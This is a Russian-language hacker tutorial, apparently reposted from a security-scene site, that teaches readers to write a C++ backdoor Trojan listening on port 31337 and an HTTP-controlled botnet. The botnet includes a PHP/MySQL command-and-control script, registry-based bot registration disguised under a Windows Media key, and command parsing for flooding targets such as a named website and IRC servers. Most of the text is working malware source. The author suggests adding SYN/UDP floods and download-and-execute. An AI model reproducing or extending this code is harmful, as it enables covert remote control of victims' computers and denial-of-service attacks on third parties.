Зомби-сети: дом мертвецов. Ну, во-первых, мы напишем с тобой простейший троян работающий по архитектуре "клиент-сервер". Во-вторых, напишем основу взаимодействия RAT с централизованным сервером по HTTP. IRC я рассматривать не стал так как тема уже затерта до дыр и в сети можно найти достаточное количество реализаций IRC-ботов. Начнем с "клиент-сервера".
Клиент-Сервер
Еще несколько лет назад в сети было огромное количество троянов, работающих по этой архитектуре, сейчас же все принялись за DDoS-ботов, работающих по централизованной архитектуре. Не скажу точно с чем это связано, но, наверное, это сейчас более востребовано, плюс ко всему на это сейчас зарабатывают немаленькие деньги. Back Orrifce, Lamer's Death, AntiLamer Backdoor - все это уже в прошлом. По моему мнению, любой троян имеющий в себе функции RAT должен содержать в себе бэкдор, работающий как раз по архитектуре "клиент-сервер". Писать мы будем на C++ и сервер и клиент. Начать, наверное, стоит с сервера (:
- Как это будет работать
Прежде чем что-то писать, надо разобраться, что требуется от нашего бэкдора. А требуется от него следующее:
Слушать заданный порт
При подключении принимать команду
Обработка команды (парсинг)
Выполнение команды
Смотри: серверная часть трояна слушает заданный порт и обработав команду выполняет ее. Клиентской частью мы будем слать эти самые команды на заданный порт. Ясно?
- Пишем сервер
В реализации все очень просто. Писать будем на WinSock2 API, так, что не забудь заинклудить winsock2.h. Сначала создаем серверный сокет "s" и заполним его структуру:
#define PORT 31337 // порт, на котором будет висеть бэкдор
// ... заполним структуру сокета ... //
SOCKET s; SOCKADDR_IN localaddr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // создаем сокет "s"
localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(PORT); // присваиваем порт
bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); // биндим
listen(s, 0); // и ставим на прослушку (:
// это будет наш сокет, принимающий клиентские запросы:
SOCKADDR_IN client_addr;
int client_addr_size=sizeof(client_addr);
Следующие действия будут выполняться при подключении к серверной части трояна клиентом. С помощью accept подключаем клиента, а с помощью функции recv получаем данные от клиента:
while(client_socket = accept(s,(struct sockaddr *)&client_addr,&client_addr_size))
{
recv(client_socket,recvbuffer+strlen(recvbuffer),100,0); // 100 - количество возможных символов,
// принимаемых от клиента.
Отлично, теперь все принятые данные от клиента хранятся в recvbuffer. Остается пропарсить запрос и выполнить его. Проще говоря, получая команду "message hacked _1nf3ct3d_by_1n3ct0r_" мы должны разделить ее на слова и затолкать их в какую-нибудь переменную для последующей обработки. В качестве разделителя команд я использую пробел. Это не совсем удобно, лучше использовать какой-нибудь другой символ, к примеру "*". Тогда клиент будет слать команду примерно так:
message*hacked*1nf3ct3d by 1nf3ct0r
По дальнейшему коду ты поймешь, что данная команда выводит MessageBox с сообщением
"hacked" и заголовком "1nf3ct3d by 1nf3ct0r". Приступим к парсингу:
char* cmd[32];
char* cmdparse = strtok(recvbuffer,"*"); // символ "*" - разделение команд
for(int i = 0; t; cmdparse = strtok(NULL,"*"), i++){ cmd[i] = cmdparse; }
Как видишь, все "слова" команды записываются в массив "cmd". К примеру, получив команду "message*hacked*1nf3ct3d by 1nf3ct0r" от клиента, данные в массиве располагаться будут так:
cmd[0] = message - сама команда (вывод сообщения)
cmd[1] = hacked - параметр 1 (сообщение)
cmd[2] = 1nf3ct3d by 1nf3ct0r - параметр 2 (заголовок)
Вот, собственно пример обработка команды "message":
if (strcmp(cmd[0]], "message")==0){
MessageBox(0,cmd[1],cmd[2],0);
}
Все, готово. Теперь на зараженной машине можно вывести любое сообщение. Рассмотрим второй пример:
// пример обработки команды "monitor_off"
if (strcmp(cmd[0], "monitor_off")==0)
{
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
strcpy(sendbuf,"\n have phun \n"); send(client_socket,sendbuf,strlen(sendbuf),0); }
}
После получения команды "monitor_off" на зараженной машине выключится монитор, а на клиент придет сообщение "have phun" :). Думаю этого хватит и ты реализуешь другие фичи с помощью которых будет возможно полностью управлять зараженным компьютером. Да, кстати. В файлах к статье найдешь полный исходный код серверной и клиентской части. Клиентскую часть я покажу сейчас как писать...
- Пишем клиент
Что должен уметь клиент? Ответ прост:
Возможность отсылки команд
Получение ответа от сервера
Реализуется это очень просто. Для начала снова создадим сокет и заполним его структуры
SOCKADDR_IN my_addr; FD_SET readfds; SOCKET main_socket;
if((main_socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))!=-1) // созадим сокет
{
readfds.fd_count=1;
readfds.fd_array[0]=main_socket;
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(31337); // порт бэкдора
my_addr.sin_addr.s_addr=resolve("localhost"); // хост зараженной машины
Здесь встречается функция resolve которая занимается тем, что получает IP адрес машины по ее хосту. Вот код этой функции:
DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}
Теперь приконнектимся к бэкдору и посылаем команду:
printf("[+] Connecting...");
if(!(connect(main_socket,(const struct sockaddr*)&my_addr,sizeof(my_addr))))
{
printf(" done. \n\r\n\r");
strcpy(buffer, "message*hacked*1nf3ct3d by 1nf3ct0r"); // в буфер записываем комманду
send(main_socket,buffer,strlen(buffer),0); // и шлем ее серверу на обработку
Ну и получаем ответ от бэкдора, снова с помощью recv.
int i = 0;
while(i = recv(main_socket,recvbuffer+strlen(recvbuffer),10000,0))
{
printf(recvbuffer);
strcpy(recvbuffer,"");
}
} else { printf(" cant connect. \n\r\n\r");
Вот, собственно, и все. И да, кстати. Чтобы инициализировать WinSock2API перед работой с сокетами пиши:
WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData);
Ну и чтобы закончить - WSACleanup().
Перейдем к управлению по HTTP.
Управление по HTTP
Сейчас я расскажу о приеме команд ботами с HTTP, конечно же это будет централизованная сеть и к тому же данная система позволит сделать распределение команд по ботам. Бота писать мы будем, конечно же, на C++, а скрипт взаимодействия бота с сервером (получение команд и т.д) на PHP+MySQL. Вопреки слухам скажу, что сделать это очень просто, достаточно немного времени, терпения и желания :)
- Как это все будет работать
Для начала следует определиться, как будет работать наша система. Рассмотрим два GET-запроса, передаваемых скрипту нашим ботом:
getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
Как видно из параметров, скрипт имеет два "режима". Первый - добавляет бота в БД (addtodb=1), второй (getcommand=1) - выдает команду. Параметры также говорят сами за себя:
UID - уникальное имя бота, оно генерится при первом запуске бота и записывается в реестр, а при следующих запусках просто копируется от туда.
IP - текущий IP-адрес машины. Без комментариев.
OS - дополнительная информация о системе. Как вариант - имя пользователя, компьютера и версия ОС.
При каждом коннекте к базе данных информация UID, IP, OS будет обновляться. Начнем.
- Заполняем БД
Создавай базу bots и таблицу botscommands в ней. Вот предлагаемая мной структура:
CREATE TABLE `botcommands` (
`uid` varchar(200) NOT NULL default '', # uid бота
`cmd` varchar(200) NOT NULL default '', # команда для бота
`ip` varchar(200) NOT NULL default '', # ip-адрес бота
`os` varchar(200) NOT NULL default '', # сведения о системе
FULLTEXT KEY `uid` (`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
Здесь прибавляется поле CMD, в которой хранится команда для бота. И сразу же толкаем запись в нее, где:
UID = 1nf3ct0r;
IP = 127.0.0.1;
OS = InfectedOS;
CMD = flood
www.microsoft.com
Вот так будет выглядит SQL-запрос.
INSERT INTO `botcommands` VALUES ('1nf3ct0r', 'flood www.microsoft.com', '127.0.0.1', 'InfectedOS');
В файлах к статье ты найдешь дамп базы данных с структурой этой таблицы, как собственно и все исходники :). Все. Теперь мы готовы к написанию скриптов. В качестве клиента к MySQL советую использовать phpMyAdmin или RST.MySQL (rst.void.ru).
- Пишем скрипты
Испугался писать работу с базой данных MySQL на PHP? Ничего страшного :) В PHP уже есть готовые функции для работы с ней. Первая функция, которая нам понадобится - коннект к базе данных. Для этого существует функция mysql_connect($host,$login,$password):
$SETS['mysql']['host']='localhost';
$SETS['mysql']['login']='root';
$SETS['mysql']['password']='';
$SETS['mysql']['db']='bots';
$connect=mysql_connect($SETS['mysql']['host'],$SETS['mysql']['login'],$SETS['mysql']['password']);
if ($connect===FALSE) die('Cant connect');
mysql_select_db($SETS['mysql']['db']);
Чтобы это все работало, в 'host' надо записать хост базы данных, в 'login' - логин, в 'password' - пароль а в 'db' - имя базы. А с помощью mysql_select_db($database) мы выбрали базу, которую указали ранее. Следующая функция по сути не менее важная, чем коннект :)). Она нужна для выполнения SQL-запросов. Вот, смотри:
mysql_query($the_query);
Переменная $the_query - это любой SQL-запрос, который должен быть выполнен скриптом. Если у тебя есть проблемы с SQL, то это не страшно. Я покажу тебе пару примеров составления запросов, так как без них никуда. Но это уже походу дела. Посмотрел код? Теперь давай писать самый главный скрипт взаимодействия бота с сервером, я буду называть его getcommander.php. Ставь в начало кода Error_Reporting(0), чтобы он не выплевывал тупые notice, если таковые будут. Окей, теперь давай напишем самый главный код и приступим к самому боту :) Для начала объявим переменные:
$uid=$_GET['uid'];
$ip=$_GET[ip];
$os=$_GET[os];
$getcommand=$_GET[getcommand];
$addtodb=$_GET[addtodb];
Позволь напомнить тебе два запроса:
getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // добавляем в базу обратившись по данному линку мы увидим ответ: done
getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // получаем команду обратившись по данному линку мы увидим ответ: flood
www.microsoft.com, а точнее значение поля CMD.
Все. Обрабатываем GetCommand [2]:
if ($getcommand == 1)
{
$result = mysql_query("SELECT cmd FROM botcommands WHERE uid='".$uid."'");
echo mysql_result($result,0);
// и обновляем все данные бота (IP, OS):
mysql_query("UPDATE botcommands SET ip='".$ip."', os='".$os."' WHERE uid='".$uid."'");
Функция mysql_result() возвращает ответ от базы данных, а mysql_query() просто выполняет запрос - в этом главное отличие. Теперь, собственно о SQL-запросах. Я расскажу совсем чуть-чуть, чтобы ты понял о чем идет речь, но советую разобраться с этим получше, так как SQL, на самом деле очень полезная штука :).
Запрос SELECT cmd FROM botcommands WHERE uid=
возвратит значение поля cmd из таблицы botcommands принадлежащей uid = уид. Результатом выполнения запроса SELECT cmd FROM botcommands WHERE uid='h4x0r' будет floot it.org. Запрос UPDATE botcommands SET ip=, os= WHERE uid= обновит значения полей. Пример:
UPDATE botcommands SET ip=31.33.73.00, os=some_info WHERE uid=1nf3ct0r
В результате запись из БД будет выглядеть так:
1nf3ct0r 31.33.73.00 some_info hacktheplan8
Теперь рассмотрим кусок кода, который добавит бота в базу данных:
} else if ($addtodb == 1)
{
echo "done";
mysql_query("INSERT INTO botcommands (uid,ip,os) VALUES ('".$uid."','".$ip."','".$os."')");
}
что касается echo "done" - то не убирай эту строку, она нам понадобится чуть позже, при проверке валидного добавления, в базу. Но об этом позже. Все, можешь смело сохранять скрипт - он готов. Что же касается админки - пиши сам :). Пишем соответствующие функции для бота? ;)
- А теперь примемся за бота...
Рассмотрим главную функцию бота:
int main()
{
WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); // инициализируем WinSock2 API
LONG sz; char buf[2]; HKEY key;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\ Windows Media\\WMSDTT", 0, KEY_QUERY_VALUE, &key)==ERROR_SUCCESS)
{getcommand("getcommand");} else { getcommand("addtobase"); }
WSACleanup();
return 0;
}
Фишка тут в следующем. Если бот уже был добавлен в базу, то создастся ключ в реестре по адресу Software\Microsoft\Windows Media\WMSDTT. Если таковой не откроется, то мы добавим себя в базу, это опять таки походу статьи Функция getcommand имеет параметр _action: getcommand(char* _action).
Сам _action двух типов:
getcommand
при этом параметре выполняется получение команды с вэба, через тот самый скрипт который мы писали.
addtobase
бот добавляется в базу :)
Смотри код:
char *param;
if (_action == "addtobase")
{
param = "?addtodb=1&uid=0x48k&ip=127.0.0.2&os=1nf3ct3dOS";
} else if (_action = "getcommand")
{
param = "?getcommand=1&uid=1nf3ct0r&ip=127.0.0.1&os=Windows%20XP%20SP2";
}
Я не стал писать функцию получения инфы IP, OS и генерации UID - ты сам прекрасно с этим справишься, если захочешь. Отправку GET-пакета и получение ответа от сервера я писал на сокетах. Этот момент мы тоже не пропустим :)
#define HOST "localhost"
#define COMMAND "/z0mbie/getcommand.php"
char sendbuffer[1024], recvbuffer[1024];
memset(recvbuffer,0,1024);
// Формируем GET-пакет:
strcpy(sendbuffer, "GET ");
strcat(sendbuffer, COMMAND);
strcat(sendbuffer, param);
strcat(sendbuffer, " HTTP/1.0\r\nHost: ");
strcat(sendbuffer, HOST);
strcat(sendbuffer, "\r\n\r\n");
Создаем сокет, заполняем его структуры:
SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN webaddr;
webaddr.sin_addr.S_un.S_addr = resolve(HOST); // ф-ию резолва я уже описывал :)
webaddr.sin_family = AF_INET;
webaddr.sin_port = htons(80);
Коннектимся к серверу и шлем пакет:
if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1;
send(s, sendbuffer, strlen(sendbuffer),0);
Sleep(2000);
Получаем ответ от вэб сервера:
int i;
while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0)) // получаем ответ
{if (i == SOCKET_ERROR) return -1;}
Парсим его:
char *temp,*token;
for(int i = 0; recvbuffer[i]!=0; ++i) // отбрасываем заголовок
{
if((recvbuffer[i]=='\r')&&(recvbuffer[i+1]=='\n')&&
(recvbuffer[i+2]=='\r')&&(recvbuffer[i+3]=='\n'))
{temp = (char*)&recvbuffer[i] + 4;break;}
}
if(strcmp(temp,"")==0) { temp = "no_commands"; }
token = strtok(temp, " \r\n"); // делим файл на слова
char *serv,*chan,*times,*freq,*msg;
char *port;
Вот теперь, внимание! Помнишь тот самый echo "done" в php-скрипте? Это нам понадобится для того, чтобы проверить реально ли добавился бот в базу. Например, если сервер упал :) При получении строки "done" бот создает ключ в реестре, по которому в дальнейшем ориентируется добавляться в базу или нет.
if(strcmp(token,"done")==0)
{
HKEY hk; RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows Media\\WMSDTT", &hk);
}
А вот пример парсинга с получением семи параметров для некой функции ircflood - она есть в исходнике к статье, грубо говоря это распределенный флудер IRC-серверов. Вот парсинг:
else if(strcmp(token,"ircflood")==0)
{
for (int i = 0; i <6; i++){
token = strtok(NULL, " \r\n");
if (i==0) { serv = token; } // получаем 1ый параметр (сервер)
if (i==1) { port = token; } // получаем 2ый параметр (порт)
if (i==2) { chan = token; } // получаем 4ый параметр (канал)
if (i==3) { times = token; } // получаем 5ый параметр (кол-во коннектов)
if (i==4) { freq = token; } // получаем 6ый параметр (частоту отсыла)
if (i==5) { msg = token; } // получаем 7ой параметр (мессагу)
}
Вот и все. Готово. Никто не мешает тебе добавить новые функции, такие как флуд HTTP/ICMP/UDP/SYN пакетами или скачку и запуск любого EXE-файла.
Заключение
В этой статье мы очень подробно разобрали управление по HTTP и архитектуру "клиент-сервер". Готовые реализации с сорсами ты найдешь в файлах к статье. В общем, если было что-то непонятно:
Читай первую часть статьи
Разбирись с WinSock2 API и смотри файлы к статье.
Пиши мне на мыло и учись юзать google.
На сегодня хватит. Все свободны :)
http://inattack.ru/print_article/453.html